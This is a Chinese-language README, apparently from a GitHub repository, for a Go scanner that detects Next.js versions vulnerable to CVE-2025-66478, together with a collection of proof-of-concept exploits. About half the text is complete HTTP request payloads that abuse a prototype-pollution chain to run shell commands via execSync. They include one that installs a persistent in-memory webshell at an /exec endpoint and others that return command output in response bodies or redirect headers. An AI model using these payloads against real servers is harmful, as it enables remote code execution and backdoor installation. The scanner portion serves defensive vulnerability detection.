Next.js RSC RCE 扫描器与 POC/Exploit 合集 (CVE-2025-66478)

一个命令行扫描器，用于批量检测 Next.js 应用程序版本，并判断其是否受 CVE-2025-66478 漏洞影响。

此扫描器不会利用该漏洞

漏洞描述

https://nextjs.org/blog/CVE-2025-66478

安装

前置要求

Go 1.19 或更高版本
Chrome/Chromium 浏览器（go-rod 将自动下载）

git clone https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478

构建

cd Next.js-RSC-RCE-Scanner-CVE-2025-66478
go build -o nextjs-rce-scanner
# Windows Build
go build -o nextjs-rce-scanner.exe

使用方法

# High concurrency scan (10 concurrent)
./nextjs-rce-scanner -file urls.txt -c 10
# GUI mode (for debugging):
./nextjs-rce-scanner -urls "https://example.com" -headless=false
# Custom timeout
./nextjs-rce-scanner -file urls.txt -timeout 60
# For headless servers (Ubuntu/Debian) - add Chrome flags
./nextjs-rce-scanner -file urls.txt -chrome-flags '--no-sandbox,--disable-setuid-sandbox'
# Use system-installed Chrome/Chromium
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/google-chrome
# Combine Chrome binary path with flags (for servers)
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/chromium-browser -chrome-flags '--no-sandbox'
# Filter and scan specific URLs
cat urls.txt | grep ".com" | ./nextjs-rce-scanner
# Combine with other Unix tools
cat urls.txt | head -10 | ./nextjs-rce-scanner -c 3

常见 Chrome 二进制路径

点击展开路径

Linux：

Ubuntu/Debian：/usr/bin/google-chrome 或 /usr/bin/chromium-browser
CentOS/RHEL：/usr/bin/google-chrome-stable 或 /usr/bin/chromium
Flatpak：/var/lib/flatpak/exports/bin/com.google.Chrome

macOS：

/Applications/Google Chrome.app/Contents/MacOS/Google Chrome
/Applications/Chromium.app/Contents/MacOS/Chromium

Windows：

C:\Program Files\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

工作原理

使用 go-rod 启动 Chrome 浏览器
创建页面池（Page Pool）来管理并发
访问目标 URL 并等待页面加载
执行 JavaScript window.next.version 获取版本信息
解析版本号，并根据漏洞影响范围进行判断
输出扫描结果

搭建漏洞环境

使用 `create-next-app` 安装漏洞版本

npx [email protected] my-cve-2025-66478-app
cd my-cve-2025-66478-app
# Start the application
npm run dev

弹出计算器

点击展开载荷

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('open -a Calculator');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

🚨 运行时内存马 🚨

首先安装内存马

点击展开载荷

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 1176

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

然后向内存马端点发送请求以执行命令

curl "http://localhost:3000/exec?cmd=ls+-l"

可在响应体中查看命令执行结果的 Payload (最实用)

点击展开载荷

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

可在响应头中查看命令执行结果的 Payload

点击展开载荷

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 689

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

Next.js-RSC-RCE-Scanner-CVE-2025-66478

最受欢迎

Next.js RSC RCE 扫描器与 POC/Exploit 合集 (CVE-2025-66478)

漏洞描述

安装

前置要求

构建

使用方法

常见 Chrome 二进制路径

工作原理

搭建漏洞环境

使用 create-next-app 安装漏洞版本

弹出计算器

🚨 运行时内存马 🚨

首先安装内存马

然后向内存马端点发送请求以执行命令

可在响应体中查看命令执行结果的 Payload (最实用)

可在响应头中查看命令执行结果的 Payload

使用 `create-next-app` 安装漏洞版本